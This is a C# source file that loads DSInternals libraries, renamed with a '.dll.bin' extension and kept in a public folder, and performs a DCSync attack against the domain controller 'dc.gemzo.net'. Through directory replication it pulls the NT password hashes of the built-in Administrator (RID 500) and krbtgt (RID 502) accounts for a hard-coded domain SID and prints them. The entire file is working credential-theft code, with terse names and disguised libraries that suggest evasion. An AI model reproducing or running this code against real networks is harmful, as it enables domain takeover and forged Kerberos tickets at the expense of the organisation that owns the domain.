using System;
using System.IO;
using System.Reflection;
using System.Security.Principal;

public class Drv {
    public const string D = @"C:\Users\Public\ds\";
    public static Assembly Resolve(object s, ResolveEventArgs e){
        string n = new AssemblyName(e.Name).Name;
        try { return Assembly.LoadFrom(D + n + ".dll.bin"); } catch { return null; }
    }
    public static Assembly Load(string n){ return Assembly.LoadFrom(D + n + ".dll.bin"); }
    public static string Run(){
        string o = "";
        try {
            o += "ME=" + WindowsIdentity.GetCurrent().Name + " | " + Environment.UserName + "@" + Environment.UserDomainName + "\n";
            Assembly pb = Load("protobuf-net");
            Assembly nc = Load("NDceRpc.Microsoft");
            Assembly nsc = Load("NDceRpc.ServiceModel.Core");
            Assembly common = Load("DSInternals.Common");
            Assembly model = Load("DSInternals.Replication.Model");
            Assembly interop = Load("DSInternals.Replication.Interop");
            Assembly rep = Load("DSInternals.Replication");
            o += "LOADED ok\n";
            Type t = rep.GetType("DSInternals.Replication.DirectoryReplicationClient");
            Type pr = rep.GetType("DSInternals.Replication.RpcProtocol");
            o += "T=" + t + " P=" + pr + "\n";
            object tcp = Enum.Parse(pr, "TCP");
            ConstructorInfo ctor = t.GetConstructor(new Type[]{ typeof(string), pr, typeof(System.Net.NetworkCredential) });
            object cli;
            if (ctor != null) cli = ctor.Invoke(new object[]{ "dc.gemzo.net", tcp, null });
            else { ctor = t.GetConstructor(new Type[]{ typeof(string), pr }); cli = ctor.Invoke(new object[]{ "dc.gemzo.net", tcp }); }
            o += "CLI ok\n";
            MethodInfo gm = t.GetMethod("GetAccount", new Type[]{ typeof(SecurityIdentifier) });
            string pre = "S-1-5-21-930626169-1328625005-2648467345-";
            foreach (int rid in new int[]{ 500, 502 }){
                try {
                    SecurityIdentifier sid = new SecurityIdentifier(pre + rid);
                    object acc = gm.Invoke(cli, new object[]{ sid });
                    Type at = acc.GetType();
                    byte[] h = (byte[])at.GetProperty("NTHash").GetValue(acc, null);
                    object sam = at.GetProperty("SamAccountName").GetValue(acc, null);
                    o += "RID" + rid + " " + sam + " " + BitConverter.ToString(h).Replace("-", "") + "\n";
                } catch (Exception ex) {
                    Exception e2 = ex; if (e2 is TargetInvocationException && e2.InnerException != null) e2 = e2.InnerException;
                    o += "ERR rid" + rid + ": [" + e2.GetType().FullName + "] HRESULT=0x" + e2.HResult.ToString("X8") + " MSG=" + e2.Message + "\n";
                }
            }
        } catch (Exception e) { o += "TOP: " + e.ToString() + "\n"; }
        return o;
    }
}